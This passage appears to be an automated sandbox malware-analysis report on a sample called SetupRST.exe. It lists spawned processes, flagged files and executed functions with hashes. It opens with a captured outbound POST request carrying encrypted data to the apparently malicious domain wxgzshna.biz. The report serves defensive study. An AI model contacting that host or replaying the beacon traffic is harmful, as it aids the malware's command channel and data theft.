Oct 28, 2024 16:40:40.549135923 CET	354	OUT	POST /pmqdwnqfxl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wxgzshna.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:40:40.549135923 CET	770	OUT	Data Raw: a9 03 73 1d de 4d 19 da f6 02 00 00 e6 26 3e 1a cb 1d 2b af 02 24 31 79 f4 93 c8 c9 3c 02 7d cd 12 9d 92 73 d9 ba 70 5e f1 5b 4f 45 1e 4b 0b 6d a7 3a 5a 44 d4 00 10 f0 b5 12 00 28 19 97 a0 85 1d f2 86 32 b5 00 e3 77 6e b7 c0 ea 18 57 94 d6 af 72 Data Ascii: sM&>+$1y<}sp^[OEKm:ZD(2wnWreQ{((5.p7yuT1E/v567h;Sr=x-?s;[cl8qD<LT`I!p>;<lOuE]Y_1Pi_-N@{

Target ID:	0
Start time:	11:38:33
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\SetupRST.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SetupRST.exe"
Imagebase:	0x140000000
File size:	8'888'320 bytes
MD5 hash:	94B8296A8960C26CEF20E322887FD5F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:38:34
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
Wow64 process (32bit):	false
Commandline:	SetupRST.exe
Imagebase:	0x1ed026d0000
File size:	7'996'632 bytes
MD5 hash:	7203FD5E2A67D68FAC082C6E65BE26D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:38:34
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Imagebase:	0x400000
File size:	1'445'888 bytes
MD5 hash:	5D22B8F6E5E775C2FF048BE2F32E0494
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	11:38:35
Start date:	28/10/2024
Path:	C:\Windows\System32\alg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\alg.exe
Imagebase:	0x140000000
File size:	1'381'376 bytes
MD5 hash:	78E2142C1A9F8A5BD9E1D381BD038CD9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:38:36
Start date:	28/10/2024
Path:	C:\Windows\System32\drivers\AppVStrm.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	138'056 bytes
MD5 hash:	BDA55F89B69757320BC125FF1CB53B26
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:38:36
Start date:	28/10/2024
Path:	C:\Windows\System32\drivers\AppvVemgr.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	174'408 bytes
MD5 hash:	E70EE9B57F8D771E2F4D6E6B535F6757
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	11:38:36
Start date:	28/10/2024
Path:	C:\Windows\System32\drivers\AppvVfs.sys
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	154'952 bytes
MD5 hash:	2CBABD729D5E746B6BD8DC1B4B4DB1E1
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	11:38:36
Start date:	28/10/2024
Path:	C:\Windows\System32\AppVClient.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\AppVClient.exe
Imagebase:	0x140000000
File size:	1'348'608 bytes
MD5 hash:	157A2D16D81CE01EB292A338F4AA9E82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:38:38
Start date:	28/10/2024
Path:	C:\Windows\System32\FXSSVC.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\fxssvc.exe
Imagebase:	0x140000000
File size:	1'242'624 bytes
MD5 hash:	2C824D7187C5393013089962F30C9870
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:38:40
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Imagebase:	0x140000000
File size:	2'354'176 bytes
MD5 hash:	936C8DD770E4909A42D458E3E5CD3237
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	11:38:40
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Imagebase:	0x140000000
File size:	1'512'448 bytes
MD5 hash:	559ECA024339219D34EB10C9702A8693
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.9%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	1.9%
Total number of Nodes:	162
Total number of Limit Nodes:	14

Executed Functions

Function 004D5346 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 908c24f0ecee5e6f2dddf1d8173b17ebe70cd201337ab44e3e024085c5e0ca95
Instruction ID: d5403cacb1dc1d24f3b3e1113e703c35d54cd792a9fa6671e65b21567e54d400
Opcode Fuzzy Hash: 908c24f0ecee5e6f2dddf1d8173b17ebe70cd201337ab44e3e024085c5e0ca95
Instruction Fuzzy Hash: 1A412A5250CE918FD72A812858743726B909B223E2F5901D7DCC7CB3E2ED9C4C96935F

Function 004D81C0 Relevance: 4.9, APIs: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a1b7183d5f29705b539dbba31016cff709a740ddd224182d3e26cde1480357f
Instruction ID: 3237c57f111a50854633fb0bbb572db2c450ac3c80915b195c2638e4f12981be
Opcode Fuzzy Hash: 0a1b7183d5f29705b539dbba31016cff709a740ddd224182d3e26cde1480357f
Instruction Fuzzy Hash: 16B1F93054CA858BC7298B1D84A1677B7A1FF95315F28829FD88B87366DE3D9C03835B

Function 004D5B8F Relevance: 3.2, APIs: 2, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 004D5D59

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0741e2c06e50abd5cb318bc07f9f694d0cf4eed4d96c4a7959566c8eb3d19a08
Instruction ID: d6fc56e4f5088884b73ecf18992877b1e47763dfa2956ab9212cd35f5ef9763d
Opcode Fuzzy Hash: 0741e2c06e50abd5cb318bc07f9f694d0cf4eed4d96c4a7959566c8eb3d19a08
Instruction Fuzzy Hash: 0E411A20628F098FDB68A728847C73B36D2EB95715F5441ABD407CB3A1DE2C8C06976F

Function 004D94DE Relevance: 3.2, APIs: 2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 004D964E

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 6c0268b954898e2961393b8f48839e6a4bb0ad98b91274fe626139732e96ab3e
Instruction ID: cf754b7181ac5f4bcad88fbf2e12352b6c4b21811a2d1337c0f4292cd7410180
Opcode Fuzzy Hash: 6c0268b954898e2961393b8f48839e6a4bb0ad98b91274fe626139732e96ab3e
Instruction Fuzzy Hash: A741F831A2C641CBCB396A28987157773D1BB96710F28466FE057C2391DA2DCC03A74F

Function 004D6149 Relevance: 3.1, APIs: 2, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 004D6164

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 080b267a4fe71c7f2b8d339959aaf0dc1ba45ac7215a6c04f26bd6b8736133b7
Instruction ID: b0ba8e0dfbd976c27556b9c2da9613bac7fd41fd11f6eead4be2c70e92710650
Opcode Fuzzy Hash: 080b267a4fe71c7f2b8d339959aaf0dc1ba45ac7215a6c04f26bd6b8736133b7
Instruction Fuzzy Hash: 8521673260C2088AD7646B28587C33F7690F799325F1742AFD856C2392DE2E8903A34F

Function 004D5D22 Relevance: 3.0, APIs: 2, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 004D5CD9
CreateThread.KERNELBASE ref: 004D5D59

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction ID: f5600bae2621e83205d416ca8ab78a8fb658d83423549aac8f4145d09a3665bc
Opcode Fuzzy Hash: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction Fuzzy Hash: DDF0F62063CF0545DB3C9638987933B61C3A79A721F64871FD027C93E0DE2C4902A26E

Function 004D9180 Relevance: 1.7, APIs: 1, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cedb468663ccadd468014339a7b22ac2af8a93d2a48846f585a63a0de7c2e229
Instruction ID: 52fb4e70431dd0954fd23cb1c0913a032cbc7649ddb197e1aca96156f1901de8
Opcode Fuzzy Hash: cedb468663ccadd468014339a7b22ac2af8a93d2a48846f585a63a0de7c2e229
Instruction Fuzzy Hash: 8C51682060C7869FDB655E64487817B3BA0AB46324F1905ABD857C33E6DA2C4C07D22F

Function 004D8690 Relevance: 1.6, APIs: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 884ed54255df227782f1adedda484a940fd14f0a04c5053960dd5b4f8fec38c7
Instruction ID: 1d054a690a8d8af54b067c76c6ea2b808d27ba37a73ee308d2ed582c9b369c8b
Opcode Fuzzy Hash: 884ed54255df227782f1adedda484a940fd14f0a04c5053960dd5b4f8fec38c7
Instruction Fuzzy Hash: CD41F721A19A898FD7659B288C34772BBA0FB55314F74429FC046C7751EF2D8882935E

Function 004DA380 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a56446c4e470bf6b7c3ee6f36cbd9dcf94501d6e54935f9ea76e47303719afa8
Instruction ID: c43b330702fe24f67a4259f0592106bfc7a6a86b847c0f2a3cbf591e6a8914d5
Opcode Fuzzy Hash: a56446c4e470bf6b7c3ee6f36cbd9dcf94501d6e54935f9ea76e47303719afa8
Instruction Fuzzy Hash: 6421D25150E385AEDB264A38683C2333FA49B27318B2C44ABD4C3C9792D54C9C76A25F

Function 004D919A Relevance: 1.6, APIs: 1, Instructions: 58
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE ref: 004D919D

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: bd5c6f108b645a037d5c79c1374cb0bbefd05bd61d27da213664025d9739b032
Instruction ID: 480c50190ae3ea8843b76e93c4086c10376d45915b161acfce68d2e61fcf65bf
Opcode Fuzzy Hash: bd5c6f108b645a037d5c79c1374cb0bbefd05bd61d27da213664025d9739b032
Instruction Fuzzy Hash: 74018C21A1E7864FD7261AA90C790BB3F20AA56364B1D05ABD492C73B3D54D0D0B936F

Function 004D8A0E Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 004D8EF1

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: acea2d85b54255cd8b0937c29a744277cb20cdd5ed1691ff94d4bb9fdc52d78d
Instruction ID: b3907de659d22a506fa7d0483a30c0c95f7d29806aa6541777f06fce09aee815
Opcode Fuzzy Hash: acea2d85b54255cd8b0937c29a744277cb20cdd5ed1691ff94d4bb9fdc52d78d
Instruction Fuzzy Hash: A9F0C27462D609C69B398B18043553B7396FB61700F28061F5C43C6344DF2CEC11999F

Function 004D9625 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 004D964E

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 412e19964fa084b0320597dc17b3db4847efaffa2005f417fa316b51f5812584
Instruction ID: 98ecf559580c5ceb67dc4bfaad684adc253dc04d2f695097246f9ebb46ce7bf9
Opcode Fuzzy Hash: 412e19964fa084b0320597dc17b3db4847efaffa2005f417fa316b51f5812584
Instruction Fuzzy Hash: 10E0925025E3818ED7128F7458287963EB05F12368F18039FA4A5C63E3D71D8C0AC716

Function 004D8F40 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 004D8F47

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 835b528c6dcffabb250974905218d0cb35aa061c9c7f48dde8b7e13ad1b7d173
Instruction ID: baed2131d1505bea22243579c29ce28bbc8eae1c5d3fbe181de829571d779820
Opcode Fuzzy Hash: 835b528c6dcffabb250974905218d0cb35aa061c9c7f48dde8b7e13ad1b7d173
Instruction Fuzzy Hash: 2FE04F6490D7899AEB7A5739586837E7E929B02794F18054FB491C5396CA2C8C02822F

Function 004D8BA6 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE ref: 004D8B3C

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: b63effb34f7ad229d2f8481b85073b53b936557c6f19cf734c30284eb0ff6338
Instruction ID: 765bfeb48172dbc07875f025d4b32182230685cd9016fd090d2d58a593a7fa00
Opcode Fuzzy Hash: b63effb34f7ad229d2f8481b85073b53b936557c6f19cf734c30284eb0ff6338
Instruction Fuzzy Hash: 91E08C7000C7008BDB16CB48D4A8B3A7BD2FB88344F14041FB58AC2360CF3CA98A8A4B

Function 004D8B76 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 004D8FAE

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8b5d510f54f190b41ef9304eccb758e96c77d313a1906c0b31328302ad949a01
Instruction ID: 97688a6992c932cbe61123a7262799df443d7503bcb1a0837f62af728c9a244a
Opcode Fuzzy Hash: 8b5d510f54f190b41ef9304eccb758e96c77d313a1906c0b31328302ad949a01
Instruction Fuzzy Hash: 06D0A9643281099A1B288BA50AB023A2043A3E836072A87AF00ABE2388CD3D5C03201A

Function 004D615A Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE ref: 004D6164
ReadFile.KERNELBASE ref: 004D61DD

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: f38b3d7fc64b22a56f2c86c710218589a1fe9382d05e0b8a998e624ad2d28af1
Instruction ID: 6079656a98bdeee5c788aa3968324cba73cff6436f20824a4580b9d07000b5ed
Opcode Fuzzy Hash: f38b3d7fc64b22a56f2c86c710218589a1fe9382d05e0b8a998e624ad2d28af1
Instruction Fuzzy Hash: ABD0C921A681064BF7685A39683D33B6686A745336F069B3FC063903D4DF6D84025649

Function 004D92DD Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 004D92CC

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 83dbcb6670d8f604cd81e2834c63a396093eb5b0311d9ad889ae66546caaff62
Instruction ID: 8a441546f7ae9b137b03c122c22fdadb554f796b02ca1e460b22436320f0d6a3
Opcode Fuzzy Hash: 83dbcb6670d8f604cd81e2834c63a396093eb5b0311d9ad889ae66546caaff62
Instruction Fuzzy Hash: 4BD0C93001C6049AD6509A118865B6B7699B788309F14894B988BD1350C73CCE0B856B

Function 004D8FAA Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE ref: 004D8FAE

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 723acebcdce85ba2f10dda4430793235e2ab0109130791c18cab4d7bdce07846
Instruction ID: b5bb92dd2b064b6c07dad4c5ec45eaa8373e5fcfcc9cf2a1bb49c63310a911d3
Opcode Fuzzy Hash: 723acebcdce85ba2f10dda4430793235e2ab0109130791c18cab4d7bdce07846
Instruction Fuzzy Hash: B6C02BB010420BD71F254BC453F423F3471D7D8384B11026F9487A0309CD3DAC42461F

Function 004D5D50 Relevance: 1.5, APIs: 1, Instructions: 8threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 004D5CD9
CreateThread.KERNELBASE ref: 004D5D59

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: 76ed604b447ccb9f8899987e6bd6f92245208b65bb15fcd068885bd75a8a7d84
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: 3DB01200038FC64500353B30082852B05C52F47A359745F6F9F7306BE2DC0C0C05633D

Function 004D5990 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 004D5A54

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: a1be152bb98419d8be335478ca00bfd5a74ad87a47f351cac40437bc7c2dac07
Instruction ID: 74055222722d5e1cab12b2ce47fef48208523e90934e97f030940c686cf36ea0
Opcode Fuzzy Hash: a1be152bb98419d8be335478ca00bfd5a74ad87a47f351cac40437bc7c2dac07
Instruction Fuzzy Hash: 4921D82161DEB48FD77A931854F56BB2AA2B795328F5803CBD086CB392DD2C4D06924F

Function 004D8245 Relevance: 1.3, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 004D830B

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction ID: 32b534d308b702a8c020762b3440114dde03bbcebba198f12c3d103a328edf09
Opcode Fuzzy Hash: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction Fuzzy Hash: B7F0813450DA818FC636A718947153B7BA0AF91710B5900DFE84BCB752CF1C9C06E39B

Function 004D8318 Relevance: 1.3, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 004D830B
GetTokenInformation.KERNELBASE ref: 004D8369

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 097781b894a905ebc8d8090c31cd2520c37a8c5aee093555dd9230cf0e295758
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: 51F06D3450D6419B8A359A14D4B053B37A0AE21750B6C009FE84BCB362DF2DDC0BE75F

Function 004D83E7 Relevance: 1.3, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 004D830B

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: c7a512445cc7200c75f3aa61ff88a58989066f8013a711b69022d949757fe4d3
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: 74F06D3450C9459B8635960894B063B27A0AB61700B6C00DFE84BCB762DF2DDC06E79F

Non-executed Functions

Function 00502ED0 Relevance: 1.8, APIs: 1, Instructions: 321COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 0050311D

Memory Dump Source

Source File: 00000000.00000002.1528403831.00000000004D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d0000_SetupRST.jbxd

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: eb89a8a385eca23818c00267d82649db9f1e568ecff9ee33809bd01fc8c9252f
Instruction ID: 348a8f7f6d758d40a3d8f485445870e5d1d045502a69e265451bfe2f3fa1a170
Opcode Fuzzy Hash: eb89a8a385eca23818c00267d82649db9f1e568ecff9ee33809bd01fc8c9252f
Instruction Fuzzy Hash: 62B14731610A4E8FDB99CF1CC88AB6A7BE0FB59304F198599E859CB2A1C335D852CB41

Analysis Process: SetupRST.exePID: 5600, Parent PID: 2684COMMON

Executed Functions

Function 00007FFB4B140A88 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1527014421.00007FFB4B140000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4b140000_SetupRST.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49b1e1ce407975ad7c2984404df64535ee99779852908a1b0c981209983b0590
Instruction ID: 3afdc4694f53ddde43a5c4f737e30fe5d09b8960d5548cba52090fd450423776
Opcode Fuzzy Hash: 49b1e1ce407975ad7c2984404df64535ee99779852908a1b0c981209983b0590
Instruction Fuzzy Hash: 9491257161CA158FD758EF39C84556AB7E2FF89314B1485BDD08ACB2A3CE39E842CB41

Function 00007FFB4B147B3B Relevance: 3.1, Strings: 2, Instructions: 615COMMON

Download Yara Rule

Strings

PD K, xrefs: 00007FFB4B147B9F
8S K, xrefs: 00007FFB4B147F37

Memory Dump Source

Source File: 00000002.00000002.1527014421.00007FFB4B140000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4b140000_SetupRST.jbxd

Similarity

API ID:
String ID: 8S K$PD K
API String ID: 0-4265500338
Opcode ID: face20faf1ba611f6c5e1a3467e0c183375d7c2adf6ac0d5b8a430195faa031b
Instruction ID: 8f240b9a325c413e49be36f17b2bfb356a537c1378857149f021ed0d2e4e8950
Opcode Fuzzy Hash: face20faf1ba611f6c5e1a3467e0c183375d7c2adf6ac0d5b8a430195faa031b
